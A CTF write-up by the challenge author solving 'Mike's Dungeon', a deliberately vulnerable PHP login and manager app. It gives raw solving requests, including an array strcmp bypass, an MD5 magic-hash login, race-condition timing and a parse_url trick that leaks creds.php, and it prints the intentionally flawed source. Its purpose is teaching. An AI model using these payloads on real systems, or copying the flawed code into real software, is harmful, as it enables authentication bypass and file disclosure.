Fwhibbit CTR (CTF): Solving Mike's Dungeon

TL;DR

In this post I’ll be covering Fwhibbit’s CTF in cooperation with an online conference called C0r0n4CON to support Cruz Roja NGO in their fight against coronavirus. At the time i’m writing this article, c0r0n4CON has almost raised 40k€ for this campaign.

The reason why I created this challenge was pretty simple, I wanted to join all the stuff I learned about PHP and its misconfiguration exploitation in CTFs in a challenge. It’s a mix between Loose Comparison, Type Juggling, Race Conditions and a propper understanding of Parse_URL PHP’s function.

DISCLAIMER

I have no degree in computer science, programming, cybersecurity… Mistakes can appear (and they will) so please keep it in mind. (If any, I’d thank you for contacting me via Telegram or Twitter) :D

Challenge

Challenge information:

Download:

mike_dungeon_source.zip

Fast Solution (No explanation)

In this section, Im going to leave here the raw requests that had to be done to complete the challenge. If you want a explanation about it, scroll down!

“whatever” can be blank

First part

First request

POST /index.php HTTP/1.1
Cookie: PHPSESSID=PHPSESSID-COOKIE

username[]=whatever&password=240610708&d56b699830e77ba53855679cb1d252da=whatever

Second request

It is the same as the one before, but has to be sent before it finishes.

POST /index.php HTTP/1.1
Cookie: PHPSESSID=PHPSESSID-COOKIE

username[]=whatever&password=240610708&d56b699830e77ba53855679cb1d252da=whatever

Second part

They all must be sent like the first part.

First request

POST /index.php HTTP/1.1
Cookie: PHPSESSID=PHPSESSID-COOKIE

username[]=whatever&password=240610708&d56b699830e77ba53855679cb1d252da=whatever

Second request

POST /manager.php?0d107d09f5bbe40cade3de5c71e9e9b7=whatever HTTP/1.1
Cookie: PHPSESSID=PHPSESSID-COOKIE

775ec01bf5ff1f62690ad3f884302080bda524e1=whatever&yourinput=cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrreeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddds.ppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppphhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhp:whatever@whatever

Third request

GET /manager.php?debug=whatever HTTP/1.1
Cookie: PHPSESSID=PHPSESSID-COOKIE

Explained solution

First Stage

The first thing we have to do is inspecting the source, where we will be having a hint (a comment by Mike).

<!-- Self-reminder: Dont forget to change your goals in your TXT file. -->

Now we assume there’s a txt file hosted by the server (or not) where Mike writes his goals. Making some guessing, we could guess there’s a txt called “mike.txt” in the webroot, or we could just visit “robots.txt” to see whether there are pages Mike doesn’t want the crawlers to see.

http://MIRROR/mike.txt
My goals for 2020:

Tidy my bedroom everyday.
Finish homework everyday.
Change administrator username from mike to hacker1337 to beat all those h4x0rs!
Learn Javascript.
Change password whose sha1 is 0e0776 and more random numbers to admin1337.
Get into http cookie without httponly flag set bounty hunting.

Done:

Learn PHP.
Add debug param to debug index.
Learn Javascript.

This file is telling us lots of things:

  • The current username is “mike”
  • The password is 0e0776 and more random numbers
  • There’s a GET parameter called debug in index.php

With the debug parameter we can see the source code:

http://MIRROR/?debug

The code:

 <html style="background-image: url('img.jpg');">
    <?php
        require_once 'creds.php'; # Including user, pwd and flag variables
        if (isset($_POST[md5('login')]) && isset($_POST['username']) && isset($_POST['password'])) {
            if (strcmp($_POST['username'], sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(sha1(md5(md5(md5($user))))))))))))))))) == 0) { # Are you a crypto nerd?
                if (md5($_POST['password']) == sha1($pwd)) {
                    session_start();
                    if (isset($_SESSION['password'])) {
                        header("Location: manager.php");
                    } else {
                        $_SESSION['password'] = "oooooumama";
                        session_write_close();
                        sleep(2); # No bruteforce :)
                        session_start();
                        unset($_SESSION['password']);
                    }
                } else {
                    die("Hey h4x0r!");
                }
            } else {
                die("Bye h4x0r!");
            }
            # Secret AUTH
            if (md5($_POST['s3cr3t']) === sha1($pwd)) {
                echo $flag;
            }
        }
        if (isset($_GET['debug'])) {
            echo highlight_file(__FILE__, true);
        }
        if(isset($_POST['debug'])) { # Just for debugging
            echo var_dump($_SESSION);
            die();
        }        

    ?>

    <title>Mike's Dungeon</title>
    <h1 style="color: white;"><center>Mike's Dungeon</center></h1>
    <hr><br>

    <center>
        <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="signin-form">
            <div class="form-element">
                <label style="color: white;">Username -> </label>
                <input type="password" name="username" required />
            </div>
            <br>
            <div class="form-element">
                <label style="color: white;">Password -> </label>
                <input type="password" name="password" required />
            </div>
            <br>
            <button type="submit" name="login" value="login">Log In</button>
        </form>
    </center>

    <!-- Self-reminder: Dont forget to change your goals in your TXT file. -->

</html>

In the very first place, there’s a require_once sentence calling a file “creds.php”. The comment tell us it is inluding $user, $pwd and ¡$flag!, but the third one won’t be called in this stage.

Then, the server compares if there’s a POST parameter whose name must be the md5sum of “login”, a POST parameter whose name must be “username” and a third param whose name must be “password”. The trick here is that the server is searching for a POST parameter whose name must be the md5sum of “login”

$_POST[md5('login')]

This way, the post parameter should be:

d56b699830e77ba53855679cb1d252da=whatever

Meanwhile the thing usually done is this one:

$_POST['login']

Where the request is like this:

login=whatever

Understanding GET and POST Parameters

The trick I wanted the user to spot is that $_POST['whatever'] refers to the value sent inside “whatever” parameter, so $_POST[md5('whatever')] will be a parameter whose name is the md5sum of “whatever”. Some might have confused it with the parameter whose value equals to the md5sum of the “whatever” parameter.

php > var_dump($_POST);
array(0) {
}
php > $_POST['whatever'] = "somethingelse";
php > var_dump($_POST);
array(1) {
  ["whatever"]=>
  string(13) "somethingelse"
}
php > var_dump(isset($_POST));
bool(true)
php > echo $_POST['whatever'];
somethingelse
php > var_dump($_POST);
array(0) {}
php > $_POST[md5('whatever')] = "somethingelse";
php > var_dump($_POST);
array(1) {
  ["008c5926ca861023c1d2a36653fd88e2"]=>
  string(13) "somethingelse"
}
php > var_dump(isset($_POST['whatever']));
bool(false)

Then, the only thing to take into account was that GET parameters are declared in the URL and POST parameters are declared in the body of the POST request.

GET /page?GETPARAM=GETPARAM-VALUE HTTP/1.1
POST /page HTTP/1.1

<-- Headers -->

POSTPARAM=POSTPARAM-VALUE&SECONDPOSTPARAM=SECONDPOSTPARAM-VALUE

strcmp “Bypass”

if (strcmp($_POST['username'], lotsofshasandmd5s($user) == 0) {

This is NOT a bypass of strcmp function. In this stage, we are bypassing this if statement beacause a loose comparison is applied in the return of strcmp function value with 0.

When strcmp compares to strings (yes, strings, because this function ONLY compares strings) returns 0, but when other type is compared, it returns NULL.

php > var_dump(strcmp("whatever", "whatever"));
int(0)
php > var_dump(strcmp(array(), "whatever"));
NULL
php > var_dump(strcmp(array(), "whatever") === 0);
bool(false)
php > var_dump(strcmp(array(), "whatever") == 0);
bool(true)

This 0 == NULL loose comparison can be seen in this table.

So then we have to send a POST param whose name must equal “username” and contain brackets [] to tell php it is an array and make strcmp to return NULL.

username[]=whatever

Loose Comparison involving Magic Hashes and Type Juggling

if (md5($_POST['password']) == sha1($pwd)) {

The first thing to take into account here is that mike’s txt file told us…

Change password whose sha1 is 0e0776 and more random numbers to admin1337.

What happens when a number is followed by a letter “e” and more numbers?

php > var_dump(0e07768478347);
float(0)
php > var_dump(0e07768478347 == 0e7384723476283946); # Same as 0 == 0
bool(true)

When PHP sees a power can be done, even if it is a string, it converts the string to a float. (This is called Type Juggling)

Knowing this, we now have to search for a MD5 string whose value matches what we want. 0 followed by “e” and more numbers. To do it, we can just search for “md5 magic hash” and PayloadAllTheThings appears with a git about it. It can be done in PHP too, like Chivato does in this post (appending a salt).

Now we have the first request done!

POST /index.php HTTP/1.1
Cookie: PHPSESSID=PHPSESSID-COOKIE

username[]=whatever&password=240610708&d56b699830e77ba53855679cb1d252da=whatever

But we aren’t ready to get into the second stage ;)


Race Conditions

I haven’t much experience exploiting Race Conditions, so here is a post about it in a generic way. What I understand about it is that it is achieved when the program flow and its threads are not propperly configured to work together.

What I did in this part is not an actual Race Condition, but tends to be exploited the same way.

(Code not complete)

if (isset($_SESSION['password'])) {
    header("Location: manager.php");
} else {
    $_SESSION['password'] = "oooooumama";
    sleep(2); # No bruteforce :)
    unset($_SESSION['password']);
}

In this piece of code, it is seen whether the “password” field of the php session array is set. To get into “manager.php”, two requests have to be sent, and the second before the first finishes.

Complete flow (Not ordered code):

if (isset($_SESSION['password'])) # Is the session field set?
# Nope ->
else {
    $_SESSION['password'] = "oooooumama"; # Okay so lets fill the session field!
    sleep(2); # Waiting two seconds!

# (Meanwhile) Another request

if (isset($_SESSION['password'])) # Is the session field set?
# Yep!
header("Location: manager.php"); # Tells the browser to get into manager.php

And we are in!

This flow could be bypassed if manager.php didn’t check the session propperly, but it does ;)


Second stage

When we we into manager.php without being authenticated (outside the two seconds waiting moment), we get this.

if(!isset($_SESSION['password'])){ # Is NOT the session field set?
# Yeap! ->
    header("Location: index.php?n1c3trY!"); # Bye Bye!
    die();

But if we got in inside the two seconds sleep function…

(Not complete code)

if(!isset($_SESSION['password'])){ # Is NOT the session field set?
# Nope! -> 
    else {
        if(!isset($_GET[md5('letmein')])){ # Is NOT this param set?
            # Yeap! ->
            $content = base64_encode(base64_encode(file_get_contents(basename($_SERVER['PHP_SELF'])))); # Source code leak!
            header("Location: index.php?Have_a_nice_day!$content"); # Bye Bye
            die();
        }
}

Now we have manager.php’s code:

<?php

require_once 'creds.php'; # Including user, pwd and flag variables
session_start();

if(!isset($_SESSION['password'])){
    header("Location: index.php?n1c3trY!");
    die();
} else {
    if(!isset($_GET[md5('letmein')])){
        $content = base64_encode(base64_encode(file_get_contents(basename($_SERVER['PHP_SELF']))));
        header("Location: index.php?Have_a_nice_day!$content");
        die();
    }
}

# Secret Method
if (md5(sha1($_POST['s3cr3t'])) === sha1($pwd)) {
    echo $flag;
}

if(isset($_GET['debug'])) { # Just for debugging
    echo var_dump($_SESSION);
    die();
}

if(isset($_POST['yourinput']) && isset($_POST[sha1($_POST['yourinput'])])) {

    if(strpos($_POST['yourinput'], "/") !== false){
        die("What you trynna do¿?¿?");
    }

    $_POST['yourinput'] = strtolower($_POST['yourinput']);

    for($i = 0; $i < 300; ++$i) {
        $_POST['yourinput'] = preg_replace('/ph/', '', preg_replace('/ed/', '', preg_replace('/cr/', '', $_POST['yourinput'])));
    }

    $url = 'http://' . $_POST['yourinput'] . '.txt';

    $file = parse_url($url)[base64_decode("dXNlcg==")];
    $check = parse_url($url)[base64_decode("cGFzcw==")];

    if (empty($file)) {
        die("Get out of here!");
    } else {
        if (empty($check)) {
            die("Come and have a seat.");
        }
    }

    $_SESSION['info'] = base64_encode(file_get_contents($file));
    session_write_close();
    sleep(2); # Bye bye bruteforce
    sleep(0.337); # l33t
    session_start();
    unset($_SESSION['info']);

} else {
    die("Beep Boop!");
}

?>

<html style="background-image: url('img.jpg');">
    <title>SuperSecureVault</title>
    <h1 style="color: white;"><center>Mike's Manager doing management stuff</center></h1>
    <p1 style="color: white;"><center>Hi h4x0r, you are almost there! (Well, this is a self message as nobody will get here :P)<center></p1>
    <br><hr><br>

    <form method="post" action="<?php basename($_SERVER['PHP_SELF']); ?>" name="give me flagg">
        <div class="form-element">
            <label style="color: white;">What you wanna do?</label>
            <br><br>
            <input type="password" name="yourinput" required />
            <br><br>
        </div>
        <button type="submit" name="gooooooo" value="mikeisthebest">Log In</button>
    </form>
</html>

As you can see, there’s a secret method:

# Secret Method
if (md5(sha1($_POST['s3cr3t'])) === sha1($pwd)) {
    echo $flag;
}

But this wont ever be possible, because strict comparison is being used and the length of MD5 is different from the SHA1’s.


preg_replace “bypass”

To understand how to “bypass” preg_replace, the way it works must be known.

php > var_dump(preg_replace("/a/", "", "whateverapple"));
string(11) "whteverpple"

manager.php just does the same but 300 times and replaces “cr”, “ed” and “ph”.

for($i = 0; $i < 300; ++$i) {
    $_POST['yourinput'] = preg_replace('/ph/', '', preg_replace('/ed/', '', preg_replace('/cr/', '', $_POST['yourinput'])));
}

Python will perfectly do our task: (Example)

$ python -c 'print("c"*301+"r"*301)'
php > $str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr";
php > for($i = 0; $i < 300; ++$i) {
php { $str = preg_replace('/cr/', '', $str);}
php > var_dump($str);
string(2) "cr"

parse_url understanding

To propperly pass this part of the stage, we have to know how parse_url function works.

(Summary)

array(8) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(8) "hostname"
  ["port"]=>
  int(9090)
  ["user"]=>
  string(8) "username"
  ["pass"]=>
  string(8) "password"
  ["path"]=>
  string(5) "/path"
  ["query"]=>
  string(9) "arg=value"
  ["fragment"]=>
  string(6) "anchor"
}
php > $url = "http://jorge:hunter2@jorgectf.gitlab.io:1337/index.php?next=value#partone";
php > var_dump(parse_url($url));
array(8) {                                                                              
  ["scheme"]=>                                                                                 
  string(4) "http"                                                                             
  ["host"]=>                                                                                                   
  string(18) "jorgectf.gitlab.io"                                                                              
  ["port"]=>                                                                                                   
  int(1337)                                                                                                    
  ["user"]=>                                                                                                                  
  string(5) "jorge"                                                                                                           
  ["pass"]=>                                                                                                                  
  string(7) "hunter2"                                                                                                         
  ["path"]=>                                                                                                                         
  string(10) "/index.php"                                                                                                            
  ["query"]=>                                                                                                                                
  string(10) "next=value"                                                                                                                    
  ["fragment"]=>
  string(7) "partone"
}

(Challenge code) (Not complete)

php > var_dump(base64_decode("dXNlcg=="));
string(4) "user"
php > var_dump(base64_decode("cGFzcw=="));
string(4) "pass"
$file = parse_url($url)["user"];
$check = parse_url($url)["pass"];

if (empty($file)) {
    die("Get out of here!");
} else {
    if (empty($check)) {
        die("Come and have a seat.");
    }
}

The values “user” and “pass” of the url sent must be set to get into the next part.


Another Race Condition

(Not complete code)

$_SESSION['info'] = base64_encode(file_get_contents($file));
sleep(2);
unset($_SESSION['info']);

The value “info” from the SESSION array will contain the contents of the file we have sent via $file = parse_url($url)["user"];.

Then, to get that information, we will have to get into this if statement:

if(isset($_GET['debug'])) {
    echo var_dump($_SESSION);
    die();
}

If we get here before the 2 seconds sleep finishes, we will get creds.php contents if we set $file = parse_url($url)["user"]; to be it.


The end

<?php

if (basename($_SERVER['PHP_SELF']) === "creds.php") {
    echo '$flag = "flag{H4H4_K33P_Try1nG}"';
    die();
}

$user = "mike";
$pwd = 10932435112;
$flag = "flag{try_to_pwn_it_;)}";

?>

This is the content in b64 we will get by doing all of the “things” I have just explained.


I hope you liked this post, and encourage you to give it a try at https://ctf.fwhibbit.es/register

JorgeCTF.